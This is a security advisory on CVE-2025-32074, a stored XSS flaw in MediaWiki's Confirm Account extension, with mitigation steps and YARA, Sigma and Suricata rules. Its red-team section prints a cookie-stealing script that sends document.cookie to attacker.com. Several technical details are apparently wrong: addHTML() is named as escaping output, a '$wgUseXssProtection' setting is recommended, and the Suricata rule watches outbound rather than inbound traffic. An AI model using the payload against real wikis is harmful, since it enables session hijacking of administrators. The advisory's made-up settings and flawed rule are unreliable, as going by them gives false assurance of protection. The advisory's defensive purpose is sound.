CVE-2025-32074

Executive Summary

CVE-2025-32074 is a Cross-Site Scripting (XSS) vulnerability in the Wikimedia Foundation's MediaWiki Confirm Account Extension. The flaw stems from improper encoding or escaping of output, allowing an attacker to inject arbitrary web scripts or HTML. This affects versions from 1.39 through 1.43. The vulnerability is classified under CWE-116 (Improper Encoding or Escaping of Output). No public exploit code or proof-of-concept is currently available, and the patch status is unknown. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time.

Supply Chain & Package Security

This vulnerability affects the MediaWiki ecosystem, specifically the Confirm Account Extension. MediaWiki is a widely used open-source wiki platform. The extension is typically installed via manual download or Composer. Organizations using MediaWiki with the Confirm Account Extension should verify their version and apply any available patches immediately.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the description (XSS via improper output encoding), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R) – the victim must click a link or view a page.
• Scope (S): Changed (C) – the injected script can affect other resources.
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Estimated Base Score: 6.1 (Medium)

Threat Level: Medium. While XSS is a common vulnerability, the lack of public exploit code and low EPSS score reduce immediate risk. However, the impact could be significant if exploited in a high-traffic wiki environment.

Deep Dive & Mechanics

The vulnerability exists in the Confirm Account Extension for MediaWiki. The extension handles user account confirmation requests. The improper encoding or escaping of output occurs when the extension renders user-supplied data (e.g., username, reason for account request) without proper sanitization. An attacker can craft a malicious request containing JavaScript code. When an administrator or other user views the confirmation request page, the injected script executes in their browser context.

Root Cause: The extension fails to use MediaWiki's built-in output escaping functions (e.g., htmlspecialchars(), $this->getOutput()->addHTML()) correctly, or it bypasses them entirely for certain parameters.

Attack Vector:

1. Attacker submits a new account request with a malicious payload in a field (e.g., "Real name" or "Biography").
2. The payload is stored in the database.
3. An administrator visits the "Confirm Accounts" special page.
4. The extension renders the stored payload without proper escaping.
5. The JavaScript executes, potentially stealing session cookies, performing actions on behalf of the admin, or defacing the page.

Vulnerable vs. Patched Code

Since no patch is publicly available, we can only hypothesize the vulnerable and patched code patterns.

Vulnerable Code (Conceptual):

// In some extension file, e.g., SpecialConfirmAccount.php
$username = $request->getText( 'wpUserName' );
// Directly output without escaping
echo "<tr><td>$username</td></tr>";

Patched Code (Conceptual):

$username = $request->getText( 'wpUserName' );
// Use MediaWiki's escaping function
echo "<tr><td>" . htmlspecialchars( $username, ENT_QUOTES, 'UTF-8' ) . "</td></tr>";

The patched version would use htmlspecialchars() or MediaWiki's $this->getOutput()->addHTML() with proper escaping.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable MediaWiki instance (version 1.39 to 1.43) with Confirm Account Extension enabled.
• Ability to submit an account request.

Exploitation Steps:

1. Navigate to the account request page (e.g., http://target/wiki/Special:RequestAccount).
2. In a field like "Real name" or "Biography", inject a payload:

   <script>alert('XSS')</script>
   

   Or a more malicious payload:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. Submit the request.
4. Wait for an administrator to view the pending requests at Special:ConfirmAccounts.
5. The script executes in the admin's browser.

Note: No public exploit code is available. The above is a generic XSS exploitation scenario.

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests to Special:RequestAccount containing suspicious HTML/JavaScript patterns.
• Use WAF rules to block common XSS payloads in form fields.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Defense:

• Immediately update MediaWiki and the Confirm Account Extension if a patch becomes available.
• Apply virtual patching via WAF if possible.
• Restrict access to the Special:ConfirmAccounts page to trusted administrators only.
• Enable MediaWiki's built-in XSS protections (e.g., $wgUseXssProtection).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wiki/Special:RequestAccount with POST data containing <script> tags or event handlers (e.g., onload=, onerror=).
  • Outbound connections from the wiki server to unknown IPs (if cookie theft is successful).
• Host IOCs:
  • Unexpected JavaScript code in the MediaWiki database, specifically in the account_requests table.
  • Modified or injected JavaScript files in the extensions/ConfirmAccount directory.
• Log IOCs:
  • Repeated failed login attempts from the same IP (if session hijacking is attempted).
  • Unusual user agent strings in requests to Special:ConfirmAccounts.

Detection Engineering

YARA Rule

rule Detect_CVE_2025_32074_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2025-32074 in MediaWiki Confirm Account Extension"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-32074"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: XSS Attempt via MediaWiki Confirm Account Extension
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS payloads in POST requests to Special:RequestAccount
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'Special:RequestAccount'
    keywords:
        - '<script'
        - 'onload='
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in user profiles (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-32074 XSS Attempt in MediaWiki Confirm Account"; flow:to_server,established; content:"POST"; http_method; content:"Special:RequestAccount"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Confirm Account Extension if it is not critical to operations.
2. Apply virtual patching using a Web Application Firewall (WAF) to block XSS payloads in the Special:RequestAccount endpoint.
3. Restrict access to the Special:ConfirmAccounts page to a limited set of trusted IPs or require multi-factor authentication.

Long-term Fix:

• Monitor the Wikimedia Foundation's official channels for a patched version of the Confirm Account Extension.
• Once a patch is released, update immediately.
• Conduct a code review of the extension to ensure proper output encoding is used throughout.

General Best Practices:

• Always use MediaWiki's built-in output escaping functions.
• Implement Content Security Policy (CSP) headers.
• Regularly update all MediaWiki extensions.

Valters IT